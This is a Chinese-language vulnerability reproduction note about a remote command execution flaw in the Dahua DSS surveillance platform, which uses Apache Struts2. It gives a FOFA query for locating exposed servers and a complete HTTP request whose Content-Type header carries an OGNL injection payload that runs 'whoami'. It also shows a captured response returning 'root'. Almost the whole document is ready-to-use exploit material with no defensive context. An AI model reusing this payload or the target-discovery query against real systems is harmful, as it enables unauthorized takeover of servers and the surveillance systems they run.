

# D1-4大华-DDS数字监控系统-OGNL注入

## 漏洞描述：

大华DSS安防监控系统平台采用ApacheStruts2作为网站应用框架。由于应用程序框架存在远程命令执行漏洞，攻击者可以通过在上传文件时修改HTTP请求标头中的Content Type值来触发该漏洞，然后执行该漏洞。系统命令以获取服务器权限。

## 网站图片：



## 网络测绘：

### fofa语法：

body="/portal/include/script/dahuaDefined/headCommon.js?type=index" && title="DSS"

## 漏洞复现：

### payload:

```
POST /admin/login_login.action HTTP/1.1
Host: your-ip
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?{#_memberAccess=#dm}:((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=@java.lang.System@getProperty('os.name').toLowerCase().contains('win')).(#cmds={#cmd.exe,'/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 0
```

### 效果图:

Request

```
1 POST /admin/login_login.action HTTP/1.1
2 Host: [redacted]
3 Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
  (#_memberAccess?{#_memberAccess=#dm}:((#container=#context['com.opensymphony.xwork2.ActionContext.
  container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
  (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.
  setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=@java.lang.System@getProperty('os.name').
  toLowerCase().contains('win')).(#cmds={#cmd.exe,'/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=
  @org.apache.struts2.ServletActionContext@getResponse().getOutputStream()).(@org.apache.commons.io.
  IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
4 Accept-Encoding: gzip
5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
  Gecko) Version/12.0.3 Safari/605.1.15
6 Content-Length auto: 0
7
8
```

Responses 5bytes / 49ms

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Date: Fri, 08 Dec 2023 14:13:13 GMT
4 Content-Length: 5
5
6 root
7
```